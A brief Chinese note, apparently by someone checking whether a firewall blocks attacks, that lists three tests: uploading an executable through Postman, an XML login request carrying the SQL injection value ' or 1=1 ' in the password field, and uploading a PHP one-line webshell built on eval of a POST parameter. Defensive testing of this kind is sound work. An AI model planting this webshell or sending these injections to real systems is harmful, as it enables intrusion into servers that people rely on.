简单测下防火墙拦截

1.可执行文件测试

使用postman进行对上传接口进行可执行文件上传测试：

 

 

2.sql注入测试

使用登陆接口进行SQL注入测试：

 

 

<?xml version="1.0" encoding="UTF-8"?>
<ROOT>
    <USER>username</USER>
    <PWD>' or 1=1 '</PWD>
    <MODEL>4304</MODEL>
    <LOGINMODEL>0</LOGINMODEL>
</ROOT>

3.木马脚本上传测试

创建一个php的简单一句话木马：

<?php
    @eval ($_POST['duang']); 
?>